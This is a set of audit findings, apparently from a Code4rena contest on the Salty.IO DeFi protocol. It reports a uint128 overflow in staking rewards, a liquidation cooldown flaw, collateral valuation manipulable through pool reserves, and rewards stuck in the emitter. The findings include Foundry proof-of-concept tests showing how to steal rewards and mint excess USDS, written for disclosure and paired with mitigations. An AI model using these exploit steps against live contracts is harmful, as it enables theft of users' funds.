Salty.IO - Arz's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L83

Vulnerability details

When _increaseUserShare() is called the virtualRewardsToAdd is calculated like this:

uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount,existingTotalShares);

user.virtualRewards += uint128(virtualRewardsToAdd);

virtualRewardsToAdd is then added to the user.virtualRewards but it is first casted to uint128. This can be easily overflowed and abused by an attacker.

When a pool is whitelisted, a bit of bootstrapping rewards will likely already be in the pool before any liquidity is supplied. So for example:

1. The pool is created and 100 SALT tokens are transferred to the rewards before any liquidity is supplied
2. The attacker will then deposit 100 wei for both sides
3. Then from a different address he will deposit 350 tokens for both sides so the calculation of virtualRewardsToAdd will be :

100e18 * 700e18 / 200 = 3.5e38 which is bigger than type(uint128).max

This will make the number overflow and only a small amount of virtualRewards will be added to the user. After when other users deposit he will be able to steal their rewards, if this is the xSALT contract then he is even able to steal their deposits.

Impact

Incorrect amount of virtualRewards will be added to the attacker, this will allow him to steal rewards from other users or steal their deposit if its the xSALT contract.

Proof of Concept

Add this to StakingRewards.t.sol, as you can see, alice and the attacker should both get the same amount of rewards but because the attackers virtualRewards were not set, he will be able to steal from alice.

function testAttack() public {
        uint256 amount = 680564733841876926927;//Amount to make the virtualRewardsToAdd bigger than type(uint128).max
        address attacker1 = makeAddr("attacker1");
        address attacker2 = makeAddr("attacker2");

        AddedReward[] memory addedRewards = new AddedReward[](1);
        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        vm.prank(DEPLOYER);
        stakingRewards.externalIncreaseUserShare(attacker1,poolIDs[0],200,false);

        bytes32[] memory claimPools = new bytes32[](1);
        claimPools[0] = poolIDs[0];

        vm.prank(attacker1);
        stakingRewards.claimAllRewards(claimPools);

        vm.startPrank(DEPLOYER);

        stakingRewards.externalIncreaseUserShare(attacker2,poolIDs[0],amount, false);
        
        //Alice deposits so that her proportion is 50%
        stakingRewards.externalIncreaseUserShare(alice,poolIDs[0],680.5 ether,false);

        vm.stopPrank();

        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        
        vm.prank(DEPLOYER);

        stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],450 ether,false);
        stakingRewards.addSALTRewards(addedRewards);
        stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],680564733841876926927 - 450 ether,false);

        //200 SALT is added so they should both receive 100 SALT but the attackers virtualRewards were not set
        console.log("THE ATTACKERS SALT BALANCE IS:", salt.balanceOf(attacker2));
    }

Tools Used

Foundry

Recommended Mitigation Steps

The user.virtualRewards is a uint128 so if virtualRewardsToAdd is bigger than uint128 then it would overflow so there is no need to cast it to uint128 or virtualRewards can be a uint256.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

When a user is liquidated, _decreaseUserShare() is called and useCooldown is set to true. This can create problems because liquidations need to happen immediately and in case of unpredictable events the cooldown can just prevent users for being liquidated for an hour. This can create more bad debt because the users will not get liquidated until the cooldown expires.

Impact

Liquidators will have to wait until the cooldown expires which is currently set to 1 hour. This can create more bad debt and cause more losses to the protocol.

Proof of Concept

_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

As you can see in liquidateUser(), useCooldown is set true which will make the whole transaction revert if the cooldown didnt expire yet.

Tools Used

Manual Review

Recommended Mitigation Steps

Liquidations need to happen immediately so consider creating a smaller cooldown just for liquidations so for example 3 minutes(from the last time the user increased their shares)

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L232-L233

Vulnerability details

Users are able deposit WBTC/WETH liquidity as collateral for borrowing USDS, they are allowed to borrow 50% of their collateral value.

The amount of collateral that the user has deposited is determined by their proportion of the shares and the reserves:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L232-L233

uint256 userWBTC = (reservesWBTC * userCollateralAmount) / totalCollateralShares;
uint256 userWETH = (reservesWETH * userCollateralAmount) / totalCollateralShares;

The problem here is that the reserves dont have to be always correctly balanced using the correct market value ratio so this can be abused by an attacker.

Example 1:

Price of 1 WBTC = 10,000 USD price of 1 WETH = 1000 USD

1. Exchange is approved and users are able to deposit
2. The attacker is the first one to deposit into the WETH/WBTC pool so he can use any ratio as he wants
3. He uses an incorrect ratio so that there are much more WBTC in the pool than WETH(for example 100 WBTC and 1 WETH)
4. Because the price of WBTC is higher, his collateral value will be much bigger
5. He will then borrow the max amount
6. After he borrows, he will swap so that the reserves are balanced in the correct ratio - 1:10 , by swapping he receives a large amount of his WBTC back(because there are more WBTC than WETH in the pool)
7. The amount of USDS he minted is much bigger than the collateral that he left after the swap(that is later liquidated) allowing him to profit a lot from this

If the attacker is not the first depositor then this attack is still possible:

Example 2:

1. Users start depositing liquidity to the WBTC/WETH pool using the correct ratio
2. The attacker then deposits collateral
3. He then swaps a huge amount of WBTC for WETH so that his collateral value is much bigger(because he increased the WBTC reserves)
4. He then borrows the max amount of USDS
5. He will then swap back the exact amount of WETH that he received to rebalance the pool and receive his WBTC back, this way he didnt lose anything from these swaps
6. His initial collateral is liquidated but the amount of USDS minted is bigger than that

However, the second attack is only profitable when arbitrage does not happen(because the arbitrage would rebalance the pool after the large swap) but because the SALT pools are built slowly, this attack will still be possible until there is enough liquidity for arbitrage to happen.

Impact

The attacker will be able to profit from this and mint a large amount of USDS, this will also create bad debt and the protocol will suffer big loses right after the launch.

Proof of Concept

I have included a PoC for both examples described above. Add this to CollateralAndLiquidity.t.sol. As you can see the attacker will be able to profit a lot from this. Flash loans can be used to perform this attack

function testAttack1() public {
        //WBTC has 8 decimals and is worth 10x more than WETH
        vm.startPrank( DEPLOYER );
        forcedPriceFeed.setBTCPrice( 10000 ether );
        forcedPriceFeed.setETHPrice( 1000 ether );
	vm.stopPrank();

        console.log("USDS BALANCE OF THE ATTACKER BEFORE ATTACK:", usds.balanceOf(alice));

        //The attack starts here
        //The attacker is the first depositor so he sets an incorrect ratio(100 WBTC and 1 WETH)
        vm.startPrank(alice);
	collateralAndLiquidity.depositCollateralAndIncreaseShare( 100 * 1e8, 1e18, 0, block.timestamp, false );

        //He then borrows the max
        collateralAndLiquidity.borrowUSDS( collateralAndLiquidity.maxBorrowableUSDS(alice) );

        //The attacker then rebalances the reserves to get his WBTC back
        //30.6 ether is the exact amount he needs to make the reserves 1:10
        weth.approve( address(pools), type(uint256).max );
        pools.depositSwapWithdraw(weth,wbtc,30.6 ether,0,block.timestamp);

        uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice) / 1e18;

        //The amount borrowed is then much bigger than his collateral value
        console.log("USDS BALANCE OF THE ATTACKER AFTER ATTACK:", usds.balanceOf(alice) / 1e18);
        console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(alice) / 1e18 - attackersCollateralValue);
    }

    function testAttack2() public {
        //WBTC has 8 decimals and is worth 10x more than WETH
        vm.startPrank( DEPLOYER );
	forcedPriceFeed.setBTCPrice( 10000 ether );
        forcedPriceFeed.setETHPrice( 1000 ether );
	vm.stopPrank();

        console.log("USDS BALANCE OF THE ATTACKER BEFORE THE ATTACK:", usds.balanceOf(bob));

        //Alice deposits liquidity using the correct ratio
        vm.prank(alice);
	collateralAndLiquidity.depositCollateralAndIncreaseShare( 1e8, 10 ether, 0, block.timestamp, false );

        //The attack starts here, the attacker deposits collateral
        vm.startPrank(bob);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( 10 * 1e8, 100 ether, 0, block.timestamp, false );
        
        wbtc.approve( address(pools), type(uint256).max );
        weth.approve( address(pools), type(uint256).max );

        //He then swaps a big amount, mints and swaps back
        uint256 amountOut = pools.depositSwapWithdraw(wbtc,weth,40e8,0,block.timestamp);

        collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(bob));

        pools.depositSwapWithdraw(weth,wbtc,amountOut,0,block.timestamp);
        
        //Because the attacker swapped back he didnt lose anything from the swap
        //He only loses his initial deposit but he received much more USDS
        uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(bob) / 1e18;

        console.log("USDS BALANCE OF THE ATTACKER AFTER THE ATTACK:", usds.balanceOf(bob) / 1e18);
        console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(bob) / 1e18 - attackersCollateralValue);
    } 
    

Tools Used

Foundry

Recommended Mitigation Steps

I believe this issue will only be present right after the launch before there is enough liquidity in WBTC/WETH and the SALT pools. So one way to mitigate this would be to allow borrowing only after some time and after the pools are built and have liquidity.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L94

Vulnerability details

SALT is added to the RewardsEmitter for later distribution to the specified whitelisted pools and only 1% per day of the pendingRewards are transferred to the pools.

When performUpkeep is called in the RewardsEmitter.sol for the CollateralAndLiquidity, only the whitelisted pools will receive rewards. This will be a problem once the pool gets unwhitelisted and has pendingRewards that werent distributed yet. SALT will just be stuck in the emitter and there wont be a way to withdraw it

Impact

SALT gets stuck in the emitter and it cant be withdrawn by anyone.

Proof of Concept

100,000 SALT gets allocated to a pool so the pendingRewards = 100,000 SALT

This pool then gets unwhitelisted and 100k SALT was not distributed and is now just stuck in the emitter.

if ( isForCollateralAndLiquidity ) {
    poolIDs = poolsConfig.whitelistedPools();
}
			

As you can see in performUpkeep() only whitelisted pools will receive their pending rewards

Tools Used

Manual Review

Recommended Mitigation Steps

Add a function in the emitter to withdraw the SALT in cases like this

Assessed type

Other